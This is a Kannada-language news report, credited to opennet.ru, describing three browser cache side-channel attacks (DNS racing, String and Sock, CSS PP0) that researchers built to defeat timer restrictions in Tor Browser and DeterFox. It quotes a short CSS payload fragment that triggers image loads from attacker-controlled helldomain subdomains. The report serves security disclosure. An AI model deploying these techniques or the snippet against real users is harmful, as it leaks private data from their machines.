ಹಲವಾರು ಅಮೇರಿಕನ್, ಇಸ್ರೇಲಿ ಮತ್ತು ಆಸ್ಟ್ರೇಲಿಯನ್ ವಿಶ್ವವಿದ್ಯಾಲಯಗಳ ಸಂಶೋಧಕರ ತಂಡವು ಪ್ರೊಸೆಸರ್ ಸಂಗ್ರಹದ ವಿಷಯಗಳ ಬಗ್ಗೆ ಮಾಹಿತಿಯನ್ನು ಹೊರತೆಗೆಯಲು ವೆಬ್ ಬ್ರೌಸರ್ಗಳಲ್ಲಿ ಮೂರು ದಾಳಿಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದೆ. ಒಂದು ವಿಧಾನವು ಜಾವಾಸ್ಕ್ರಿಪ್ಟ್ ಇಲ್ಲದ ಬ್ರೌಸರ್ಗಳಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ ಮತ್ತು ಇತರ ಎರಡು ಟಾರ್ ಬ್ರೌಸರ್ ಮತ್ತು ಡಿಟರ್ಫಾಕ್ಸ್ನಲ್ಲಿ ಬಳಸಲಾದ ಸೈಡ್-ಚಾನೆಲ್ ದಾಳಿಗಳ ವಿರುದ್ಧ ರಕ್ಷಣೆಯ ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ವಿಧಾನಗಳನ್ನು ಬೈಪಾಸ್ ಮಾಡುತ್ತದೆ. ದಾಳಿಗಳನ್ನು ಪ್ರದರ್ಶಿಸುವ ಕೋಡ್, ಹಾಗೆಯೇ ದಾಳಿಗಳಿಗೆ ಅಗತ್ಯವಾದ ಸರ್ವರ್ ಘಟಕಗಳನ್ನು GitHub ನಲ್ಲಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ.
ಸಂಗ್ರಹದ ವಿಷಯಗಳನ್ನು ವಿಶ್ಲೇಷಿಸಲು, ಎಲ್ಲಾ ದಾಳಿಗಳು ಪ್ರೈಮ್+ಪ್ರೋಬ್ ವಿಧಾನವನ್ನು ಬಳಸುತ್ತವೆ, ಇದು ಸಂಗ್ರಹವನ್ನು ಪ್ರಮಾಣಿತ ಮೌಲ್ಯಗಳೊಂದಿಗೆ ಭರ್ತಿ ಮಾಡುವುದು ಮತ್ತು ಅವುಗಳನ್ನು ಮರುಪೂರಣ ಮಾಡುವಾಗ ಪ್ರವೇಶ ಸಮಯವನ್ನು ಅಳೆಯುವ ಮೂಲಕ ಬದಲಾವಣೆಗಳನ್ನು ಪತ್ತೆಹಚ್ಚುವುದನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ. ನಿಖರವಾದ ಸಮಯ ಮಾಪನದಲ್ಲಿ ಹಸ್ತಕ್ಷೇಪ ಮಾಡುವ ಬ್ರೌಸರ್ಗಳಲ್ಲಿ ಇರುವ ಭದ್ರತಾ ಕಾರ್ಯವಿಧಾನಗಳನ್ನು ಬೈಪಾಸ್ ಮಾಡಲು, ಎರಡು ಆಯ್ಕೆಗಳಲ್ಲಿ, ಆಕ್ರಮಣಕಾರರಿಂದ ನಿಯಂತ್ರಿಸಲ್ಪಡುವ DNS ಅಥವಾ WebSocket ಸರ್ವರ್ಗೆ ಮನವಿಯನ್ನು ಮಾಡಲಾಗುತ್ತದೆ, ಇದು ಸ್ವೀಕರಿಸಿದ ವಿನಂತಿಗಳ ಸಮಯದ ಲಾಗ್ ಅನ್ನು ಇರಿಸುತ್ತದೆ. ಒಂದು ಸಾಕಾರದಲ್ಲಿ, ಸ್ಥಿರ DNS ಪ್ರತಿಕ್ರಿಯೆ ಸಮಯವನ್ನು ಸಮಯದ ಉಲ್ಲೇಖವಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ.
ಬಾಹ್ಯ DNS ಅಥವಾ WebSocket ಸರ್ವರ್ಗಳನ್ನು ಬಳಸಿಕೊಂಡು ಮಾಡಿದ ಅಳತೆಗಳು, ಯಂತ್ರ ಕಲಿಕೆಯ ಆಧಾರದ ಮೇಲೆ ವರ್ಗೀಕರಣ ವ್ಯವಸ್ಥೆಯನ್ನು ಬಳಸಿಕೊಂಡು, ಅತ್ಯಂತ ಸೂಕ್ತವಾದ ಸನ್ನಿವೇಶದಲ್ಲಿ (ಸರಾಸರಿ 98-80%) 90% ವರೆಗಿನ ನಿಖರತೆಯೊಂದಿಗೆ ಮೌಲ್ಯಗಳನ್ನು ಊಹಿಸಲು ಸಾಕಾಗುತ್ತದೆ. ದಾಳಿಯ ವಿಧಾನಗಳನ್ನು ವಿವಿಧ ಹಾರ್ಡ್ವೇರ್ ಪ್ಲಾಟ್ಫಾರ್ಮ್ಗಳಲ್ಲಿ ಪರೀಕ್ಷಿಸಲಾಗಿದೆ (ಇಂಟೆಲ್, ಎಎಮ್ಡಿ ರೈಜೆನ್, ಆಪಲ್ ಎಂ 1, ಸ್ಯಾಮ್ಸಂಗ್ ಎಕ್ಸಿನೋಸ್) ಮತ್ತು ಸಾರ್ವತ್ರಿಕವೆಂದು ಸಾಬೀತಾಗಿದೆ.

DNS ರೇಸಿಂಗ್ ದಾಳಿಯ ಮೊದಲ ರೂಪಾಂತರವು ಜಾವಾಸ್ಕ್ರಿಪ್ಟ್ ಅರೇಗಳನ್ನು ಬಳಸಿಕೊಂಡು ಪ್ರೈಮ್+ಪ್ರೋಬ್ ವಿಧಾನದ ಶ್ರೇಷ್ಠ ಅನುಷ್ಠಾನವನ್ನು ಬಳಸುತ್ತದೆ. ಬಾಹ್ಯ DNS-ಆಧಾರಿತ ಟೈಮರ್ ಮತ್ತು ಒನ್ರರ್ ಹ್ಯಾಂಡ್ಲರ್ ಬಳಕೆಗೆ ವ್ಯತ್ಯಾಸಗಳು ಕುದಿಯುತ್ತವೆ, ಇದು ಅಸ್ತಿತ್ವದಲ್ಲಿಲ್ಲದ ಡೊಮೇನ್ನಿಂದ ಚಿತ್ರವನ್ನು ಲೋಡ್ ಮಾಡಲು ಪ್ರಯತ್ನಿಸಿದಾಗ ಪ್ರಚೋದಿಸಲ್ಪಡುತ್ತದೆ. ಜಾವಾಸ್ಕ್ರಿಪ್ಟ್ ಟೈಮರ್ಗಳಿಗೆ ಪ್ರವೇಶವನ್ನು ಮಿತಿಗೊಳಿಸುವ ಅಥವಾ ಸಂಪೂರ್ಣವಾಗಿ ನಿಷ್ಕ್ರಿಯಗೊಳಿಸುವ ಬ್ರೌಸರ್ಗಳ ಮೇಲೆ ಪ್ರೈಮ್+ಪ್ರೋಬ್ ದಾಳಿಗೆ ಬಾಹ್ಯ ಟೈಮರ್ ಅನುಮತಿಸುತ್ತದೆ.
ಅದೇ ಎತರ್ನೆಟ್ ನೆಟ್ವರ್ಕ್ನಲ್ಲಿರುವ ಡಿಎನ್ಎಸ್ ಸರ್ವರ್ಗಾಗಿ, ಟೈಮರ್ನ ನಿಖರತೆಯು ಸರಿಸುಮಾರು 2 ಎಂಎಸ್ ಎಂದು ಅಂದಾಜಿಸಲಾಗಿದೆ, ಇದು ಸೈಡ್-ಚಾನೆಲ್ ದಾಳಿಯನ್ನು ನಡೆಸಲು ಸಾಕಾಗುತ್ತದೆ (ಹೋಲಿಕೆಗಾಗಿ, ಟಾರ್ ಬ್ರೌಸರ್ನಲ್ಲಿನ ಪ್ರಮಾಣಿತ ಜಾವಾಸ್ಕ್ರಿಪ್ಟ್ ಟೈಮರ್ನ ನಿಖರತೆ 100 ms ಗೆ ಕಡಿಮೆಯಾಗಿದೆ). ದಾಳಿಗಾಗಿ, DNS ಸರ್ವರ್ನ ಮೇಲೆ ನಿಯಂತ್ರಣ ಅಗತ್ಯವಿಲ್ಲ, ಏಕೆಂದರೆ ಕಾರ್ಯಾಚರಣೆಯ ಕಾರ್ಯಗತಗೊಳಿಸುವ ಸಮಯವನ್ನು ಆಯ್ಕೆಮಾಡಲಾಗಿದೆ ಆದ್ದರಿಂದ DNS ನಿಂದ ಪ್ರತಿಕ್ರಿಯೆ ಸಮಯವು ಚೆಕ್ನ ಹಿಂದಿನ ಪೂರ್ಣಗೊಳಿಸುವಿಕೆಯ ಸಂಕೇತವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ (ಒರರ್ ಹ್ಯಾಂಡ್ಲರ್ ಅನ್ನು ಪ್ರಚೋದಿಸಲಾಗಿದೆಯೇ ಎಂಬುದರ ಆಧಾರದ ಮೇಲೆ ಹಿಂದಿನ ಅಥವಾ ನಂತರ, ಸಂಗ್ರಹದೊಂದಿಗೆ ಚೆಕ್ ಕಾರ್ಯಾಚರಣೆಯ ವೇಗದ ಬಗ್ಗೆ ತೀರ್ಮಾನವನ್ನು ತೆಗೆದುಕೊಳ್ಳಲಾಗುತ್ತದೆ) .
ಎರಡನೇ ದಾಳಿ ವಿಧಾನ, "ಸ್ಟ್ರಿಂಗ್ ಮತ್ತು ಸಾಕ್", ಜಾವಾಸ್ಕ್ರಿಪ್ಟ್ನಲ್ಲಿ ಅರೇಗಳ ಕಡಿಮೆ-ಮಟ್ಟದ ಬಳಕೆಯನ್ನು ಮಿತಿಗೊಳಿಸುವ ಭದ್ರತಾ ಕ್ರಮಗಳನ್ನು ಬೈಪಾಸ್ ಮಾಡುವ ಗುರಿಯನ್ನು ಹೊಂದಿದೆ. ಅರೇಗಳ ಬದಲಿಗೆ, "ಸ್ಟ್ರಿಂಗ್ ಮತ್ತು ಸಾಕ್" ಬಹಳ ದೊಡ್ಡ ಸ್ಟ್ರಿಂಗ್ಗಳಲ್ಲಿನ ಕಾರ್ಯಾಚರಣೆಗಳನ್ನು ಬಳಸುತ್ತದೆ, ಅದರ ಗಾತ್ರವನ್ನು ಆಯ್ಕೆಮಾಡಲಾಗುತ್ತದೆ ಇದರಿಂದ ವೇರಿಯೇಬಲ್ ಸಂಪೂರ್ಣ LLC (ಲಾಸ್ಟ್ ಲೆವೆಲ್ ಕ್ಯಾಶ್) ಅನ್ನು ಒಳಗೊಳ್ಳುತ್ತದೆ. ನಂತರ, indexOf() ಕಾರ್ಯವನ್ನು ಬಳಸಿಕೊಂಡು, ಮೂಲ ಸ್ಟ್ರಿಂಗ್ನಿಂದ ಆರಂಭದಲ್ಲಿ ಇಲ್ಲದಿರುವ ಸಣ್ಣ ಸಬ್ಸ್ಟ್ರಿಂಗ್ಗಾಗಿ ಸ್ಟ್ರಿಂಗ್ ಅನ್ನು ಹುಡುಕಲಾಗುತ್ತದೆ, ಅಂದರೆ ಹುಡುಕಾಟ ಕಾರ್ಯಾಚರಣೆಯು ಸಂಪೂರ್ಣ ಸ್ಟ್ರಿಂಗ್ ಅನ್ನು ಎಣಿಸುತ್ತದೆ. ಸ್ಟ್ರಿಂಗ್ ಗಾತ್ರವು LLC ಸಂಗ್ರಹದ ಗಾತ್ರಕ್ಕೆ ಅನುಗುಣವಾಗಿರುವುದರಿಂದ, ಸ್ಕ್ಯಾನಿಂಗ್ ಅರೇಗಳನ್ನು ಕುಶಲತೆಯಿಂದ ನಿರ್ವಹಿಸದೆ ಕ್ಯಾಶ್ ಪರಿಶೀಲನೆಗೆ ಅನುಮತಿಸುತ್ತದೆ. ಲೇಟೆನ್ಸಿಯನ್ನು ಅಳೆಯಲು, DNS ಅನ್ನು ಆಕ್ರಮಣಕಾರರಿಂದ ನಿಯಂತ್ರಿಸಲ್ಪಡುವ ವೆಬ್ಸಾಕೆಟ್ ಸರ್ವರ್ಗೆ ಕರೆ ಮಾಡುವ ಮೂಲಕ ಬದಲಾಯಿಸಲಾಗುತ್ತದೆ. ಹುಡುಕಾಟ ಕಾರ್ಯಾಚರಣೆಯ ಮೊದಲು ಮತ್ತು ನಂತರ ವಿನಂತಿಗಳನ್ನು ಕಳುಹಿಸಲಾಗುತ್ತದೆ, ಅದರ ಆಧಾರದ ಮೇಲೆ ಸರ್ವರ್ ಸಂಗ್ರಹ ವಿಷಯಗಳನ್ನು ವಿಶ್ಲೇಷಿಸಲು ಬಳಸುವ ವಿಳಂಬವನ್ನು ಲೆಕ್ಕಹಾಕಲಾಗುತ್ತದೆ.
"CSS PP0" ದಾಳಿಯ ಮೂರನೇ ರೂಪಾಂತರವನ್ನು HTML ಮತ್ತು CSS ಮೂಲಕ ಕಾರ್ಯಗತಗೊಳಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ನಿಷ್ಕ್ರಿಯಗೊಳಿಸಿದ ಜಾವಾಸ್ಕ್ರಿಪ್ಟ್ನೊಂದಿಗೆ ಬ್ರೌಸರ್ಗಳಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು. ಈ ವಿಧಾನವು "ಸ್ಟ್ರಿಂಗ್ ಮತ್ತು ಸಾಕ್" ಅನ್ನು ಹೋಲುತ್ತದೆ ಆದರೆ ಜಾವಾಸ್ಕ್ರಿಪ್ಟ್ಗೆ ಸಂಬಂಧಿಸಿಲ್ಲ. ದಾಳಿಯು ಮಾಸ್ಕ್ ಮೂಲಕ ಹುಡುಕಾಟವನ್ನು ನಿರ್ವಹಿಸುವ CSS ಆಯ್ಕೆದಾರರ ಗುಂಪನ್ನು ಉತ್ಪಾದಿಸುತ್ತದೆ. ಸಂಗ್ರಹವನ್ನು ತುಂಬುವ ಆರಂಭಿಕ ದೊಡ್ಡ ಸ್ಟ್ರಿಂಗ್ ಅನ್ನು ಬಹಳ ದೊಡ್ಡ ವರ್ಗ ಹೆಸರಿನೊಂದಿಗೆ ಡಿವ್ ಟ್ಯಾಗ್ ಅನ್ನು ರಚಿಸುವ ಮೂಲಕ ನಿರ್ದಿಷ್ಟಪಡಿಸಲಾಗುತ್ತದೆ. ಒಳಗೆ, ತಮ್ಮದೇ ಆದ ಐಡಿಗಳನ್ನು ಹೊಂದಿರುವ ಇತರ ಡಿವ್ಗಳ ಗುಂಪನ್ನು ಇರಿಸಲಾಗುತ್ತದೆ. ಈ ಪ್ರತಿಯೊಂದು ನೆಸ್ಟೆಡ್ ಡಿವ್ಗಳಿಗೆ, ಸಬ್ಸ್ಟ್ರಿಂಗ್ಗಾಗಿ ಹುಡುಕುವ ಸೆಲೆಕ್ಟರ್ನೊಂದಿಗೆ ತನ್ನದೇ ಆದ ಶೈಲಿಯನ್ನು ವ್ಯಾಖ್ಯಾನಿಸಲಾಗಿದೆ. ಪುಟವನ್ನು ರೆಂಡರಿಂಗ್ ಮಾಡುವಾಗ, ಬ್ರೌಸರ್ ಮೊದಲು ಒಳಗಿನ ಡಿವ್ಗಳನ್ನು ಪ್ರಕ್ರಿಯೆಗೊಳಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತದೆ, ಇದು ದೊಡ್ಡ ಸ್ಟ್ರಿಂಗ್ನಲ್ಲಿ ಹುಡುಕಾಟ ಕಾರ್ಯಾಚರಣೆಗೆ ಕಾರಣವಾಗುತ್ತದೆ. ಹುಡುಕಾಟವನ್ನು ಸ್ಪಷ್ಟವಾಗಿ ಇಲ್ಲದ ಮುಖವಾಡದಿಂದ ನಿರ್ವಹಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಸಂಪೂರ್ಣ ಸ್ಟ್ರಿಂಗ್ನ ಪುನರಾವರ್ತನೆಗೆ ಕಾರಣವಾಗುತ್ತದೆ, ಅದರ ನಂತರ "ನಾಟ್" ಸ್ಥಿತಿಯನ್ನು ಪ್ರಚೋದಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಯಾದೃಚ್ಛಿಕವನ್ನು ಉಲ್ಲೇಖಿಸುವ ಹಿನ್ನೆಲೆ ಚಿತ್ರವನ್ನು ಲೋಡ್ ಮಾಡಲು ಪ್ರಯತ್ನಿಸಲಾಗುತ್ತದೆ. ಡೊಮೇನ್ಗಳು: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … ಸ ಸ ...
ಉಪಡೊಮೇನ್ಗಳನ್ನು ಆಕ್ರಮಣಕಾರರ DNS ಸರ್ವರ್ನಿಂದ ನೀಡಲಾಗುತ್ತದೆ, ಇದು ವಿನಂತಿಗಳನ್ನು ಸ್ವೀಕರಿಸುವಲ್ಲಿ ವಿಳಂಬವನ್ನು ಅಳೆಯಬಹುದು. DNS ಸರ್ವರ್ ಎಲ್ಲಾ ವಿನಂತಿಗಳಿಗೆ NXDOMAIN ಅನ್ನು ನೀಡುತ್ತದೆ ಮತ್ತು ವಿನಂತಿಗಳ ನಿಖರವಾದ ಸಮಯದ ಲಾಗ್ ಅನ್ನು ಇರಿಸುತ್ತದೆ. ಡಿವ್ಗಳ ಗುಂಪನ್ನು ಪ್ರಕ್ರಿಯೆಗೊಳಿಸುವುದರ ಪರಿಣಾಮವಾಗಿ, ಆಕ್ರಮಣಕಾರರ DNS ಸರ್ವರ್ ವಿನಂತಿಗಳ ಸರಣಿಯನ್ನು ಪಡೆಯುತ್ತದೆ, ಇವುಗಳ ನಡುವಿನ ವಿಳಂಬಗಳು ಸಂಗ್ರಹದ ವಿಷಯಗಳನ್ನು ಪರಿಶೀಲಿಸುವ ಫಲಿತಾಂಶದೊಂದಿಗೆ ಪರಸ್ಪರ ಸಂಬಂಧ ಹೊಂದಿವೆ.

ಮೂಲ: opennet.ru
